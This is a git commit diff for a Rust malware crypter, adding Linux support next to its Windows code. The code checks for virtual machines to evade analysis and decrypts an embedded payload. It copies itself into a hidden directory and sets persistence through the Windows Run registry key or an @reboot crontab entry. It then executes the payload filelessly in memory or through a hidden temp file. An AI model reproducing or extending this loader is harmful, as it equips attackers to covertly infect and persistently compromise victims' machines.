Add cross-platform support for Linux and Windows

- Implement conditional compilation for platform-specific dependencies
- Add Linux persistence via cron jobs as alternative to Windows registry
- Create cross-platform fileless execution (memexec for Windows, temp file + exec for Linux)
- Support platform-specific paths and file hiding mechanisms
- Maintain full Windows compatibility while adding Linux support
This commit is contained in:
JorySeverijnse 2025-12-14 12:10:49 +01:00
parent 42550bdc8d
commit e8c22a8160
2 changed files with 115 additions and 19 deletions

View File

@ -8,5 +8,10 @@ edition = "2021"
[dependencies]
inside-vm = "0.2.0"
aes = "0.8.2"
[target.'cfg(windows)'.dependencies]
memexec = "0.2"
winreg = "0.9"
[target.'cfg(unix)'.dependencies]
libc = "0.2"

View File

@ -6,9 +6,15 @@ use std::io::{self, Cursor, Read};
use std::path::Path;
use std::process::Command;
use std::{env, fs};
#[cfg(windows)]
use winreg::enums::{HKEY_CURRENT_USER, KEY_ALL_ACCESS};
#[cfg(windows)]
use winreg::RegKey;
#[cfg(unix)]
use std::os::unix::fs::PermissionsExt;
fn main() {
if inside_vm() {
println!("This is in a vm");
@ -21,7 +27,9 @@ fn main() {
persistence();
let pe_bytes = decrypt_file().unwrap();
fileless(pe_bytes);
if let Err(e) = fileless(pe_bytes) {
eprintln!("Failed to execute payload: {}", e);
}
}
}
@ -53,7 +61,7 @@ fn decrypt_file() -> Result<Vec<u8>> {
}
fn create_infected_directory() -> io::Result<()> {
let infected_dir = Path::new("C:/Rust Crypter - INFECTED MACHINE");
let infected_dir = get_infected_dir_path();
fs::create_dir_all(&infected_dir)?;
let current_exe = env::current_exe()?;
@ -62,7 +70,8 @@ fn create_infected_directory() -> io::Result<()> {
let infected_exe_path = infected_dir.join(current_exe_filename.unwrap());
fs::copy(&current_exe, &infected_exe_path)?;
if cfg!(target_os = "windows") {
#[cfg(windows)]
{
Command::new("attrib")
.arg("+h")
.arg(infected_dir.as_os_str())
@ -73,32 +82,114 @@ fn create_infected_directory() -> io::Result<()> {
.output()?;
}
#[cfg(unix)]
{
// Hide files on Unix by removing read permissions for others
let mut perms = fs::metadata(&infected_dir)?.permissions();
perms.set_mode(0o700);
fs::set_permissions(&infected_dir, perms)?;
let mut perms = fs::metadata(&infected_exe_path)?.permissions();
perms.set_mode(0o700);
fs::set_permissions(&infected_exe_path, perms)?;
}
Ok(())
}
fn get_infected_dir_path() -> &'static Path {
#[cfg(windows)]
{
Path::new("C:/Rust Crypter - INFECTED MACHINE")
}
#[cfg(unix)]
{
Path::new("/tmp/.rust-crypter-infected")
}
}
fn persistence() -> io::Result<()> {
if let Ok(current_exe) = env::current_exe() {
if let Some(file_name) = current_exe.file_stem() {
let executable_name = file_name.to_string_lossy();
let directory_path = "C:/Rust Crypter - INFECTED MACHINE/";
let file_path = format!("{}{}.exe", directory_path, executable_name);
#[cfg(windows)]
{
if let Ok(current_exe) = env::current_exe() {
if let Some(file_name) = current_exe.file_stem() {
let executable_name = file_name.to_string_lossy();
let directory_path = "C:/Rust Crypter - INFECTED MACHINE/";
let file_path = format!("{}{}.exe", directory_path, executable_name);
// Open the "Run" registry key
let hkcu = RegKey::predef(HKEY_CURRENT_USER);
let run_key = hkcu.open_subkey_with_flags(
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
KEY_ALL_ACCESS,
)?;
// Open the "Run" registry key
let hkcu = RegKey::predef(HKEY_CURRENT_USER);
let run_key = hkcu.open_subkey_with_flags(
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
KEY_ALL_ACCESS,
)?;
// Add the executable path to the "Run" registry key
run_key.set_value("RustCrypter", &file_path).err();
// Add the executable path to the "Run" registry key
run_key.set_value("RustCrypter", &file_path).err();
}
}
}
#[cfg(unix)]
{
// Linux persistence using cron job
if let Ok(current_exe) = env::current_exe() {
let cron_entry = format!("@reboot {} >/dev/null 2>&1", current_exe.display());
// Add to user's crontab
let output = Command::new("crontab")
.arg("-l")
.output();
let mut cron_content = String::new();
if let Ok(output_result) = output {
if output_result.status.success() {
cron_content = String::from_utf8_lossy(&output_result.stdout).to_string();
}
}
if !cron_content.contains("rust-crypter") {
cron_content.push_str(&cron_entry);
cron_content.push('\n');
Command::new("sh")
.arg("-c")
.arg(&format!("echo '{}' | crontab -", cron_content))
.output()?;
}
}
}
Ok(())
}
fn fileless(bytes: Vec<u8>) {
unsafe {
memexec::memexec_exe(&bytes).unwrap();
fn fileless(bytes: Vec<u8>) -> std::result::Result<(), Box<dyn std::error::Error>> {
#[cfg(windows)]
{
unsafe {
memexec::memexec_exe(&bytes).unwrap();
}
}
#[cfg(unix)]
{
// For Linux, write to temp file and execute
use std::ffi::CString;
let temp_path = "/tmp/.rust_payload";
fs::write(temp_path, &bytes)?;
// Make executable
let mut perms = fs::metadata(temp_path)?.permissions();
perms.set_mode(0o755);
fs::set_permissions(temp_path, perms)?;
// Execute
let path_cstr = CString::new(temp_path)?;
unsafe {
libc::execl(path_cstr.as_ptr(), path_cstr.as_ptr(), std::ptr::null::<libc::c_char>());
}
}
Ok(())
}